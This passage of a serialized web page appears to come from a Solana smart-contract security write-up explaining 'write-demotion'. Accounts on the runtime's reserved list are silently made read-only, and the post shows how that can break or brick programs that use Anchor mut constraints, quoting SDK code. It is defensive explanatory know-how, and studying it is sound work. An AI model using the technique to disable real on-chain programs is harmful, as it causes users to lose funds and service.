tag":158,"props":75419,"children":75420},{"style":222},[75421],{"type":29,"value":462},{"type":24,"tag":158,"props":75423,"children":75424},{"style":171},[75425],{"type":29,"value":44738},{"type":24,"tag":158,"props":75427,"children":75428},{"style":222},[75429],{"type":29,"value":2146},{"type":24,"tag":158,"props":75431,"children":75432},{"style":496},[75433],{"type":29,"value":17588},{"type":24,"tag":158,"props":75435,"children":75436},{"style":188},[75437],{"type":29,"value":15113},{"type":24,"tag":158,"props":75439,"children":75440},{"style":222},[75441],{"type":29,"value":4820},{"type":24,"tag":158,"props":75443,"children":75444},{"style":188},[75445],{"type":29,"value":473},{"type":24,"tag":158,"props":75447,"children":75448},{"class":160,"line":301},[75449,75453,75458,75462,75466,75470,75474,75478,75482,75486],{"type":24,"tag":158,"props":75450,"children":75451},{"style":165},[75452],{"type":29,"value":2662},{"type":24,"tag":158,"props":75454,"children":75455},{"style":177},[75456],{"type":29,"value":75457}," balance_after",{"type":24,"tag":158,"props":75459,"children":75460},{"style":222},[75461],{"type":29,"value":462},{"type":24,"tag":158,"props":75463,"children":75464},{"style":177},[75465],{"type":29,"value":7137},{"type":24,"tag":158,"props":75467,"children":75468},{"style":222},[75469],{"type":29,"value":347},{"type":24,"tag":158,"props":75471,"children":75472},{"style":496},[75473],{"type":29,"value":16747},{"type":24,"tag":158,"props":75475,"children":75476},{"style":188},[75477],{"type":29,"value":15277},{"type":24,"tag":158,"props":75479,"children":75480},{"style":222},[75481],{"type":29,"value":728},{"type":24,"tag":158,"props":75483,"children":75484},{"style":177},[75485],{"type":29,"value":74478},{"type":24,"tag":158,"props":75487,"children":75488},{"style":188},[75489],{"type":29,"value":473},{"type":24,"tag":158,"props":75491,"children":75492},{"class":160,"line":626},[75493,75497,75501,75505,75509],{"type":24,"tag":158,"props":75494,"children":75495},{"style":171},[75496],{"type":29,"value":21733},{"type":24,"tag":158,"props":75498,"children":75499},{"style":188},[75500],{"type":29,"value":504},{"type":24,"tag":158,"props":75502,"children":75503},{"style":177},[75504],{"type":29,"value":3844},{"type":24,"tag":158,"props":75506,"children":75507},{"style":222},[75508],{"type":29,"value":347},{"type":24,"tag":158,"props":75510,"children":75511},{"style":188},[75512],{"type":29,"value":75513},"is_writable\n",{"type":24,"tag":158,"props":75515,"children":75516},{"class":160,"line":668},[75517,75521,75525,75529,75534,75538,75543,75547,75551,75555,75559],{"type":24,"tag":158,"props":75518,"children":75519},{"style":222},[75520],{"type":29,"value":16857},{"type":24,"tag":158,"props":75522,"children":75523},{"style":177},[75524],{"type":29,"value":74167},{"type":24,"tag":158,"props":75526,"children":75527},{"style":222},[75528],{"type":29,"value":347},{"type":24,"tag":158,"props":75530,"children":75531},{"style":496},[75532],{"type":29,"value":75533},"is_exempt",{"type":24,"tag":158,"props":75535,"children":75536},{"style":188},[75537],{"type":29,"value":504},{"type":24,"tag":158,"props":75539,"children":75540},{"style":177},[75541],{"type":29,"value":75542},"balance_after",{"type":24,"tag":158,"props":75544,"children":75545},{"style":188},[75546],{"type":29,"value":191},{"type":24,"tag":158,"props":75548,"children":75549},{"style":177},[75550],{"type":29,"value":3844},{"type":24,"tag":158,"props":75552,"children":75553},{"style":222},[75554],{"type":29,"value":347},{"type":24,"tag":158,"props":75556,"children":75557},{"style":496},[75558],{"type":29,"value":15040},{"type":24,"tag":158,"props":75560,"children":75561},{"style":188},[75562],{"type":29,"value":16896},{"type":24,"tag":158,"props":75564,"children":75565},{"class":160,"line":676},[75566,75570,75574,75579,75583,75587],{"type":24,"tag":158,"props":75567,"children":75568},{"style":222},[75569],{"type":29,"value":16857},{"type":24,"tag":158,"props":75571,"children":75572},{"style":222},[75573],{"type":29,"value":3750},{"type":24,"tag":158,"props":75575,"children":75576},{"style":496},[75577],{"type":29,"value":75578},"is_program",{"type":24,"tag":158,"props":75580,"children":75581},{"style":188},[75582],{"type":29,"value":504},{"type":24,"tag":158,"props":75584,"children":75585},{"style":177},[75586],{"type":29,"value":3844},{"type":24,"tag":158,"props":75588,"children":75589},{"style":188},[75590],{"type":29,"value":20955},{"type":24,"tag":158,"props":75592,"children":75593},{"class":160,"line":684},[75594],{"type":24,"tag":158,"props":75595,"children":75596},{"style":188},[75597],{"type":29,"value":307},{"type":24,"tag":25,"props":75599,"children":75600},{},[75601],{"type":29,"value":75602},"Now we’re safe...right?",{"type":24,"tag":395,"props":75604,"children":75606},{"id":75605},"bug-3-the-write-demotion-trap",[75607],{"type":29,"value":75608},"Bug 3: The Write-Demotion Trap",{"type":24,"tag":25,"props":75610,"children":75611},{},[75612,75614,75619,75621,75626],{"type":29,"value":75613},"On Solana, accounts passed as ",{"type":24,"tag":897,"props":75615,"children":75616},{},[75617],{"type":29,"value":75618},"writable",{"type":29,"value":75620}," in a transaction can be ",{"type":24,"tag":897,"props":75622,"children":75623},{},[75624],{"type":29,"value":75625},"silently downgraded to read-only",{"type":29,"value":75627},". This behavior occurs during message sanitization — even before your program runs.",{"type":24,"tag":25,"props":75629,"children":75630},{},[75631,75633,75640],{"type":29,"value":75632},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":24,"tag":101,"props":75634,"children":75637},{"href":75635,"rel":75636},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[105],[75638],{"type":29,"value":75639},"MessageV0",{"type":29,"value":75641},", but legacy is simpler to follow):",{"type":24,"tag":147,"props":75643,"children":75645},{"className":151,"code":75644,"language":150,"meta":7,"style":7},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n pub fn new(message: legacy::Message, reserved_account_keys: &HashSet\u003CPubkey>) -> Self {\n let is_writable_account_cache = message\n .account_keys\n .iter()\n .enumerate()\n .map(|(i, _key)| {\n message.is_writable_index(i)\n && !reserved_account_keys.contains(&message.account_keys[i])\n && !message.demote_program_id(i)\n })\n .collect::\u003CVec\u003C_>>();\n Self {\n message: Cow::Owned(message),\n is_writable_account_cache,\n }\n }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[75646],{"type":24,"tag":154,"props":75647,"children":75648},{"__ignoreMap":7},[75649,75657,75681,75769,75790,75802,75818,75834,75882,75911,75965,76001,76009,76046,76058,76096,76108,76115,76122,76129,76136,76144,76204,76257],{"type":24,"tag":158,"props":75650,"children":75651},{"class":160,"line":161},[75652],{"type":24,"tag":158,"props":75653,"children":75654},{"style":2588},[75655],{"type":29,"value":75656},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":24,"tag":158,"props":75658,"children":75659},{"class":160,"line":213},[75660,75664,75669,75673,75677],{"type":24,"tag":158,"props":75661,"children":75662},{"style":165},[75663],{"type":29,"value":29452},{"type":24,"tag":158,"props":75665,"children":75666},{"style":171},[75667],{"type":29,"value":75668}," LegacyMessage",{"type":24,"tag":158,"props":75670,"children":75671},{"style":188},[75672],{"type":29,"value":24167},{"type":24,"tag":158,"props":75674,"children":75675},{"style":171},[75676],{"type":29,"value":4750},{"type":24,"tag":158,"props":75678,"children":75679},{"style":188},[75680],{"type":29,"value":8922},{"type":24,"tag":158,"props":75682,"children":75683},{"class":160,"line":238},[75684,75688,75692,75696,75700,75704,75708,75713,75717,75722,75726,75731,75735,75739,75744,75748,75752,75756,75760,75765],{"type":24,"tag":158,"props":75685,"children":75686},{"style":165},[75687],{"type":29,"value":22087},{"type":24,"tag":158,"props":75689,"children":75690},{"style":165},[75691],{"type":29,"value":14929},{"type":24,"tag":158,"props":75693,"children":75694},{"style":496},[75695],{"type":29,"value":33194},{"type":24,"tag":158,"props":75697,"children":75698},{"style":188},[75699],{"type":29,"value":504},{"type":24,"tag":158,"props":75701,"children":75702},{"style":177},[75703],{"type":29,"value":69312},{"type":24,"tag":158,"props":75705,"children":75706},{"style":222},[75707],{"type":29,"value":225},{"type":24,"tag":158,"props":75709,"children":75710},{"style":188},[75711],{"type":29,"value":75712}," legacy",{"type":24,"tag":158,"props":75714,"children":75715},{"style":222},[75716],{"type":29,"value":2146},{"type":24,"tag":158,"props":75718,"children":75719},{"style":171},[75720],{"type":29,"value":75721},"Message",{"type":24,"tag":158,"props":75723,"children":75724},{"style":188},[75725],{"type":29,"value":191},{"type":24,"tag":158,"props":75727,"children":75728},{"style":177},[75729],{"type":29,"value":75730},"reserved_account_keys",{"type":24,"tag":158,"props":75732,"children":75733},{"style":222},[75734],{"type":29,"value":225},{"type":24,"tag":158,"props":75736,"children":75737},{"style":222},[75738],{"type":29,"value":8784},{"type":24,"tag":158,"props":75740,"children":75741},{"style":171},[75742],{"type":29,"value":75743},"HashSet",{"type":24,"tag":158,"props":75745,"children":75746},{"style":188},[75747],{"type":29,"value":3760},{"type":24,"tag":158,"props":75749,"children":75750},{"style":171},[75751],{"type":29,"value":22642},{"type":24,"tag":158,"props":75753,"children":75754},{"style":188},[75755],{"type":29,"value":21690},{"type":24,"tag":158,"props":75757,"children":75758},{"style":222},[75759],{"type":29,"value":14991},{"type":24,"tag":158,"props":75761,"children":75762},{"style":165},[75763],{"type":29,"value":75764}," Self",{"type":24,"tag":158,"props":75766,"children":75767},{"style":188},[75768],{"type":29,"value":210},{"type":24,"tag":158,"props":75770,"children":75771},{"class":160,"line":259},[75772,75776,75781,75785],{"type":24,"tag":158,"props":75773,"children":75774},{"style":165},[75775],{"type":29,"value":4732},{"type":24,"tag":158,"props":75777,"children":75778},{"style":177},[75779],{"type":29,"value":75780}," is_writable_account_cache",{"type":24,"tag":158,"props":75782,"children":75783},{"style":222},[75784],{"type":29,"value":462},{"type":24,"tag":158,"props":75786,"children":75787},{"style":177},[75788],{"type":29,"value":75789}," message\n",{"type":24,"tag":158,"props":75791,"children":75792},{"class":160,"line":280},[75793,75797],{"type":24,"tag":158,"props":75794,"children":75795},{"style":222},[75796],{"type":29,"value":4832},{"type":24,"tag":158,"props":75798,"children":75799},{"style":188},[75800],{"type":29,"value":75801},"account_keys\n",{"type":24,"tag":158,"props":75803,"children":75804},{"class":160,"line":301},[75805,75809,75814],{"type":24,"tag":158,"props":75806,"children":75807},{"style":222},[75808],{"type":29,"value":4832},{"type":24,"tag":158,"props":75810,"children":75811},{"style":496},[75812],{"type":29,"value":75813},"iter",{"type":24,"tag":158,"props":75815,"children":75816},{"style":188},[75817],{"type":29,"value":9376},{"type":24,"tag":158,"props":75819,"children":75820},{"class":160,"line":626},[75821,75825,75830],{"type":24,"tag":158,"props":75822,"children":75823},{"style":222},[75824],{"type":29,"value":4832},{"type":24,"tag":158,"props":75826,"children":75827},{"style":496},[75828],{"type":29,"value":75829},"enumerate",{"type":24,"tag":158,"props":75831,"children":75832},{"style":188},[75833],{"type":29,"value":9376},{"type":24,"tag":158,"props":75835,"children":75836},{"class":160,"line":668},[75837,75841,75845,75849,75853,75857,75861,75865,75870,75874,75878],{"type":24,"tag":158,"props":75838,"children":75839},{"style":222},[75840],{"type":29,"value":4832},{"type":24,"tag":158,"props":75842,"children":75843},{"style":496},[75844],{"type":29,"value":68377},{"type":24,"tag":158,"props":75846,"children":75847},{"style":188},[75848],{"type":29,"value":504},{"type":24,"tag":158,"props":75850,"children":75851},{"style":222},[75852],{"type":29,"value":1234},{"type":24,"tag":158,"props":75854,"children":75855},{"style":188},[75856],{"type":29,"value":504},{"type":24,"tag":158,"props":75858,"children":75859},{"style":177},[75860],{"type":29,"value":1832},{"type":24,"tag":158,"props":75862,"children":75863},{"style":188},[75864],{"type":29,"value":191},{"type":24,"tag":158,"props":75866,"children":75867},{"style":177},[75868],{"type":29,"value":75869},"_key",{"type":24,"tag":158,"props":75871,"children":75872},{"style":188},[75873],{"type":29,"value":521},{"type":24,"tag":158,"props":75875,"children":75876},{"style":222},[75877],{"type":29,"value":1234},{"type":24,"tag":158,"props":75879,"children":75880},{"style":188},[75881],{"type":29,"value":210},{"type":24,"tag":158,"props":75883,"children":75884},{"class":160,"line":676},[75885,75890,75894,75899,75903,75907],{"type":24,"tag":158,"props":75886,"children":75887},{"style":177},[75888],{"type":29,"value":75889}," message",{"type":24,"tag":158,"props":75891,"children":75892},{"style":222},[75893],{"type":29,"value":347},{"type":24,"tag":158,"props":75895,"children":75896},{"style":496},[75897],{"type":29,"value":75898},"is_writable_index",{"type":24,"tag":158,"props":75900,"children":75901},{"style":188},[75902],{"type":29,"value":504},{"type":24,"tag":158,"props":75904,"children":75905},{"style":177},[75906],{"type":29,"value":1832},{"type":24,"tag":158,"props":75908,"children":75909},{"style":188},[75910],{"type":29,"value":2125},{"type":24,"tag":158,"props":75912,"children":75913},{"class":160,"line":684},[75914,75919,75923,75927,75931,75936,75940,75944,75948,75952,75957,75961],{"type":24,"tag":158,"props":75915,"children":75916},{"style":222},[75917],{"type":29,"value":75918}," &&",{"type":24,"tag":158,"props":75920,"children":75921},{"style":222},[75922],{"type":29,"value":3750},{"type":24,"tag":158,"props":75924,"children":75925},{"style":177},[75926],{"type":29,"value":75730},{"type":24,"tag":158,"props":75928,"children":75929},{"style":222},[75930],{"type":29,"value":347},{"type":24,"tag":158,"props":75932,"children":75933},{"style":496},[75934],{"type":29,"value":75935},"contains",{"type":24,"tag":158,"props":75937,"children":75938},{"style":188},[75939],{"type":29,"value":504},{"type":24,"tag":158,"props":75941,"children":75942},{"style":222},[75943],{"type":29,"value":2212},{"type":24,"tag":158,"props":75945,"children":75946},{"style":177},[75947],{"type":29,"value":69312},{"type":24,"tag":158,"props":75949,"children":75950},{"style":222},[75951],{"type":29,"value":347},{"type":24,"tag":158,"props":75953,"children":75954},{"style":188},[75955],{"type":29,"value":75956},"account_keys[",{"type":24,"tag":158,"props":75958,"children":75959},{"style":177},[75960],{"type":29,"value":1832},{"type":24,"tag":158,"props":75962,"children":75963},{"style":188},[75964],{"type":29,"value":56713},{"type":24,"tag":158,"props":75966,"children":75967},{"class":160,"line":700},[75968,75972,75976,75980,75984,75989,75993,75997],{"type":24,"tag":158,"props":75969,"children":75970},{"style":222},[75971],{"type":29,"value":75918},{"type":24,"tag":158,"props":75973,"children":75974},{"style":222},[75975],{"type":29,"value":3750},{"type":24,"tag":158,"props":75977,"children":75978},{"style":177},[75979],{"type":29,"value":69312},{"type":24,"tag":158,"props":75981,"children":75982},{"style":222},[75983],{"type":29,"value":347},{"type":24,"tag":158,"props":75985,"children":75986},{"style":496},[75987],{"type":29,"value":75988},"demote_program_id",{"type":24,"tag":158,"props":75990,"children":75991},{"style":188},[75992],{"type":29,"value":504},{"type":24,"tag":158,"props":75994,"children":75995},{"style":177},[75996],{"type":29,"value":1832},{"type":24,"tag":158,"props":75998,"children":75999},{"style":188},[76000],{"type":29,"value":2125},{"type":24,"tag":158,"props":76002,"children":76003},{"class":160,"line":785},[76004],{"type":24,"tag":158,"props":76005,"children":76006},{"style":188},[76007],{"type":29,"value":76008}," })\n",{"type":24,"tag":158,"props":76010,"children":76011},{"class":160,"line":1447},[76012,76016,76021,76025,76029,76033,76037,76041],{"type":24,"tag":158,"props":76013,"children":76014},{"style":222},[76015],{"type":29,"value":4832},{"type":24,"tag":158,"props":76017,"children":76018},{"style":496},[76019],{"type":29,"value":76020},"collect",{"type":24,"tag":158,"props":76022,"children":76023},{"style":222},[76024],{"type":29,"value":2146},{"type":24,"tag":158,"props":76026,"children":76027},{"style":188},[76028],{"type":29,"value":3760},{"type":24,"tag":158,"props":76030,"children":76031},{"style":171},[76032],{"type":29,"value":18449},{"type":24,"tag":158,"props":76034,"children":76035},{"style":188},[76036],{"type":29,"value":3760},{"type":24,"tag":158,"props":76038,"children":76039},{"style":177},[76040],{"type":29,"value":4750},{"type":24,"tag":158,"props":76042,"children":76043},{"style":188},[76044],{"type":29,"value":76045},">>();\n",{"type":24,"tag":158,"props":76047,"children":76048},{"class":160,"line":1509},[76049,76054],{"type":24,"tag":158,"props":76050,"children":76051},{"style":165},[76052],{"type":29,"value":76053}," Self",{"type":24,"tag":158,"props":76055,"children":76056},{"style":188},[76057],{"type":29,"value":210},{"type":24,"tag":158,"props":76059,"children":76060},{"class":160,"line":1527},[76061,76066,76070,76075,76079,76084,76088,76092],{"type":24,"tag":158,"props":76062,"children":76063},{"style":177},[76064],{"type":29,"value":76065}," message",{"type":24,"tag":158,"props":76067,"children":76068},{"style":222},[76069],{"type":29,"value":225},{"type":24,"tag":158,"props":76071,"children":76072},{"style":171},[76073],{"type":29,"value":76074}," Cow",{"type":24,"tag":158,"props":76076,"children":76077},{"style":222},[76078],{"type":29,"value":2146},{"type":24,"tag":158,"props":76080,"children":76081},{"style":496},[76082],{"type":29,"value":76083},"Owned",{"type":24,"tag":158,"props":76085,"children":76086},{"style":188},[76087],{"type":29,"value":504},{"type":24,"tag":158,"props":76089,"children":76090},{"style":177},[76091],{"type":29,"value":69312},{"type":24,"tag":158,"props":76093,"children":76094},{"style":188},[76095],{"type":29,"value":8382},{"type":24,"tag":158,"props":76097,"children":76098},{"class":160,"line":1545},[76099,76104],{"type":24,"tag":158,"props":76100,"children":76101},{"style":177},[76102],{"type":29,"value":76103}," is_writable_account_cache",{"type":24,"tag":158,"props":76105,"children":76106},{"style":188},[76107],{"type":29,"value":235},{"type":24,"tag":158,"props":76109,"children":76110},{"class":160,"line":1618},[76111],{"type":24,"tag":158,"props":76112,"children":76113},{"style":188},[76114],{"type":29,"value":5010},{"type":24,"tag":158,"props":76116,"children":76117},{"class":160,"line":1635},[76118],{"type":24,"tag":158,"props":76119,"children":76120},{"style":188},[76121],{"type":29,"value":3967},{"type":24,"tag":158,"props":76123,"children":76124},{"class":160,"line":1644},[76125],{"type":24,"tag":158,"props":76126,"children":76127},{"style":188},[76128],{"type":29,"value":307},{"type":24,"tag":158,"props":76130,"children":76131},{"class":160,"line":1652},[76132],{"type":24,"tag":158,"props":76133,"children":76134},{"emptyLinePlaceholder":16},[76135],{"type":29,"value":481},{"type":24,"tag":158,"props":76137,"children":76138},{"class":160,"line":1704},[76139],{"type":24,"tag":158,"props":76140,"children":76141},{"style":2588},[76142],{"type":29,"value":76143},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":24,"tag":158,"props":76145,"children":76146},{"class":160,"line":1713},[76147,76151,76155,76160,76164,76168,76172,76176,76180,76184,76188,76192,76196,76200],{"type":24,"tag":158,"props":76148,"children":76149},{"style":165},[76150],{"type":29,"value":14924},{"type":24,"tag":158,"props":76152,"children":76153},{"style":165},[76154],{"type":29,"value":14929},{"type":24,"tag":158,"props":76156,"children":76157},{"style":496},[76158],{"type":29,"value":76159}," demote_program_id",{"type":24,"tag":158,"props":76161,"children":76162},{"style":188},[76163],{"type":29,"value":504},{"type":24,"tag":158,"props":76165,"children":76166},{"style":222},[76167],{"type":29,"value":2212},{"type":24,"tag":158,"props":76169,"children":76170},{"style":165},[76171],{"type":29,"value":14947},{"type":24,"tag":158,"props":76173,"children":76174},{"style":188},[76175],{"type":29,"value":191},{"type":24,"tag":158,"props":76177,"children":76178},{"style":177},[76179],{"type":29,"value":1832},{"type":24,"tag":158,"props":76181,"children":76182},{"style":222},[76183],{"type":29,"value":225},{"type":24,"tag":158,"props":76185,"children":76186},{"style":171},[76187],{"type":29,"value":14965},{"type":24,"tag":158,"props":76189,"children":76190},{"style":188},[76191],{"type":29,"value":723},{"type":24,"tag":158,"props":76193,"children":76194},{"style":222},[76195],{"type":29,"value":14991},{"type":24,"tag":158,"props":76197,"children":76198},{"style":171},[76199],{"type":29,"value":2928},{"type":24,"tag":158,"props":76201,"children":76202},{"style":188},[76203],{"type":29,"value":210},{"type":24,"tag":158,"props":76205,"children":76206},{"class":160,"line":1731},[76207,76211,76215,76220,76224,76228,76232,76236,76240,76244,76248,76253],{"type":24,"tag":158,"props":76208,"children":76209},{"style":165},[76210],{"type":29,"value":22030},{"type":24,"tag":158,"props":76212,"children":76213},{"style":222},[76214],{"type":29,"value":347},{"type":24,"tag":158,"props":76216,"children":76217},{"style":496},[76218],{"type":29,"value":76219},"is_key_called_as_program",{"type":24,"tag":158,"props":76221,"children":76222},{"style":188},[76223],{"type":29,"value":504},{"type":24,"tag":158,"props":76225,"children":76226},{"style":177},[76227],{"type":29,"value":1832},{"type":24,"tag":158,"props":76229,"children":76230},{"style":188},[76231],{"type":29,"value":723},{"type":24,"tag":158,"props":76233,"children":76234},{"style":222},[76235],{"type":29,"value":74473},{"type":24,"tag":158,"props":76237,"children":76238},{"style":222},[76239],{"type":29,"value":3750},{"type":24,"tag":158,"props":76241,"children":76242},{"style":165},[76243],{"type":29,"value":14947},{"type":24,"tag":158,"props":76245,"children":76246},{"style":222},[76247],{"type":29,"value":347},{"type":24,"tag":158,"props":76249,"children":76250},{"style":496},[76251],{"type":29,"value":76252},"is_upgradeable_loader_present",{"type":24,"tag":158,"props":76254,"children":76255},{"style":188},[76256],{"type":29,"value":9376},{"type":24,"tag":158,"props":76258,"children":76259},{"class":160,"line":5485},[76260],{"type":24,"tag":158,"props":76261,"children":76262},{"style":188},[76263],{"type":29,"value":307},{"type":24,"tag":25,"props":76265,"children":76266},{},[76267],{"type":29,"value":76268},"As you can see, there are two main causes of write-demotion:",{"type":24,"tag":1786,"props":76270,"children":76271},{},[76272,76284],{"type":24,"tag":1790,"props":76273,"children":76274},{},[76275,76277],{"type":29,"value":76276},"The account appears in the ",{"type":24,"tag":101,"props":76278,"children":76281},{"href":76279,"rel":76280},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[105],[76282],{"type":29,"value":76283},"reserved account list",{"type":24,"tag":1790,"props":76285,"children":76286},{},[76287],{"type":29,"value":76288},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":24,"tag":25,"props":76290,"children":76291},{},[76292],{"type":29,"value":76293},"The second case is generally covered by the executable check implemented previously.",{"type":24,"tag":25,"props":76295,"children":76296},{},[76297],{"type":29,"value":76298},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":24,"tag":20134,"props":76300,"children":76302},{"id":76301},"the-reserved-account-list",[76303],{"type":29,"value":76304},"The Reserved Account List",{"type":24,"tag":25,"props":76306,"children":76307},{},[76308,76310,76315],{"type":29,"value":76309},"The Solana runtime maintains a ",{"type":24,"tag":101,"props":76311,"children":76313},{"href":76279,"rel":76312},[105],[76314],{"type":29,"value":76283},{"type":29,"value":76316},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":24,"tag":25,"props":76318,"children":76319},{},[76320,76322,76329,76331,76336],{"type":29,"value":76321},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":24,"tag":101,"props":76323,"children":76326},{"href":76324,"rel":76325},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[105],[76327],{"type":29,"value":76328},"feature gate is actived",{"type":29,"value":76330},", the runtime will ",{"type":24,"tag":897,"props":76332,"children":76333},{},[76334],{"type":29,"value":76335},"automatically demote them to read-only",{"type":29,"value":76337},", even if the transaction marked them as writable.",{"type":24,"tag":147,"props":76339,"children":76341},{"className":151,"code":76340,"language":150,"meta":7,"style":7},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n reserved_keys.update_active_set(&self.feature_set);\n Arc::new(reserved_keys)\n};\n",[76342],{"type":24,"tag":154,"props":76343,"children":76344},{"__ignoreMap":7},[76345,76353,76361,76385,76439,76477,76506],{"type":24,"tag":158,"props":76346,"children":76347},{"class":160,"line":161},[76348],{"type":24,"tag":158,"props":76349,"children":76350},{"style":2588},[76351],{"type":29,"value":76352},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":24,"tag":158,"props":76354,"children":76355},{"class":160,"line":213},[76356],{"type":24,"tag":158,"props":76357,"children":76358},{"style":2588},[76359],{"type":29,"value":76360},"// Update active set of reserved account keys which are not allowed to be write locked\n",{"type":24,"tag":158,"props":76362,"children":76363},{"class":160,"line":238},[76364,76368,76372,76377,76381],{"type":24,"tag":158,"props":76365,"children":76366},{"style":165},[76367],{"type":29,"value":14947},{"type":24,"tag":158,"props":76369,"children":76370},{"style":222},[76371],{"type":29,"value":347},{"type":24,"tag":158,"props":76373,"children":76374},{"style":188},[76375],{"type":29,"value":76376},"reserved_account_keys ",{"type":24,"tag":158,"props":76378,"children":76379},{"style":222},[76380],{"type":29,"value":1285},{"type":24,"tag":158,"props":76382,"children":76383},{"style":188},[76384],{"type":29,"value":210},{"type":24,"tag":158,"props":76386,"children":76387},{"class":160,"line":259},[76388,76392,76396,76401,76405,76410,76414,76418,76422,76426,76430,76434],{"type":24,"tag":158,"props":76389,"children":76390},{"style":165},[76391],{"type":29,"value":2710},{"type":24,"tag":158,"props":76393,"children":76394},{"style":165},[76395],{"type":29,"value":4676},{"type":24,"tag":158,"props":76397,"children":76398},{"style":177},[76399],{"type":29,"value":76400}," reserved_keys",{"type":24,"tag":158,"props":76402,"children":76403},{"style":222},[76404],{"type":29,"value":462},{"type":24,"tag":158,"props":76406,"children":76407},{"style":171},[76408],{"type":29,"value":76409}," ReservedAccountKeys",{"type":24,"tag":158,"props":76411,"children":76412},{"style":222},[76413],{"type":29,"value":2146},{"type":24,"tag":158,"props":76415,"children":76416},{"style":496},[76417],{"type":29,"value":16655},{"type":24,"tag":158,"props":76419,"children":76420},{"style":188},[76421],{"type":29,"value":504},{"type":24,"tag":158,"props":76423,"children":76424},{"style":222},[76425],{"type":29,"value":2212},{"type":24,"tag":158,"props":76427,"children":76428},{"style":165},[76429],{"type":29,"value":14947},{"type":24,"tag":158,"props":76431,"children":76432},{"style":222},[76433],{"type":29,"value":347},{"type":24,"tag":158,"props":76435,"children":76436},{"style":188},[76437],{"type":29,"value":76438},"reserved_account_keys);\n",{"type":24,"tag":158,"props":76440,"children":76441},{"class":160,"line":280},[76442,76447,76451,76456,76460,76464,76468,76472],{"type":24,"tag":158,"props":76443,"children":76444},{"style":177},[76445],{"type":29,"value":76446}," reserved_keys",{"type":24,"tag":158,"props":76448,"children":76449},{"style":222},[76450],{"type":29,"value":347},{"type":24,"tag":158,"props":76452,"children":76453},{"style":496},[76454],{"type":29,"value":76455},"update_active_set",{"type":24,"tag":158,"props":76457,"children":76458},{"style":188},[76459],{"type":29,"value":504},{"type":24,"tag":158,"props":76461,"children":76462},{"style":222},[76463],{"type":29,"value":2212},{"type":24,"tag":158,"props":76465,"children":76466},{"style":165},[76467],{"type":29,"value":14947},{"type":24,"tag":158,"props":76469,"children":76470},{"style":222},[76471],{"type":29,"value":347},{"type":24,"tag":158,"props":76473,"children":76474},{"style":188},[76475],{"type":29,"value":76476},"feature_set);\n",{"type":24,"tag":158,"props":76478,"children":76479},{"class":160,"line":301},[76480,76485,76489,76493,76497,76502],{"type":24,"tag":158,"props":76481,"children":76482},{"style":171},[76483],{"type":29,"value":76484}," Arc",{"type":24,"tag":158,"props":76486,"children":76487},{"style":222},[76488],{"type":29,"value":2146},{"type":24,"tag":158,"props":76490,"children":76491},{"style":496},[76492],{"type":29,"value":16357},{"type":24,"tag":158,"props":76494,"children":76495},{"style":188},[76496],{"type":29,"value":504},{"type":24,"tag":158,"props":76498,"children":76499},{"style":177},[76500],{"type":29,"value":76501},"reserved_keys",{"type":24,"tag":158,"props":76503,"children":76504},{"style":188},[76505],{"type":29,"value":2125},{"type":24,"tag":158,"props":76507,"children":76508},{"class":160,"line":626},[76509],{"type":24,"tag":158,"props":76510,"children":76511},{"style":188},[76512],{"type":29,"value":17814},{"type":24,"tag":20134,"props":76514,"children":76516},{"id":76515},"consequences-silent-failures-and-bricked-programs",[76517],{"type":29,"value":76518},"Consequences: Silent Failures and Bricked Programs",{"type":24,"tag":25,"props":76520,"children":76521},{},[76522],{"type":29,"value":76523},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":24,"tag":147,"props":76525,"children":76527},{"className":151,"code":76526,"language":150,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n #[account(mut)]\n pub throne: Account\u003C'info, Throne>,\n\n #[account(mut, constraint = old_king.key() == throne.king)]\n pub old_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub new_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub payer: 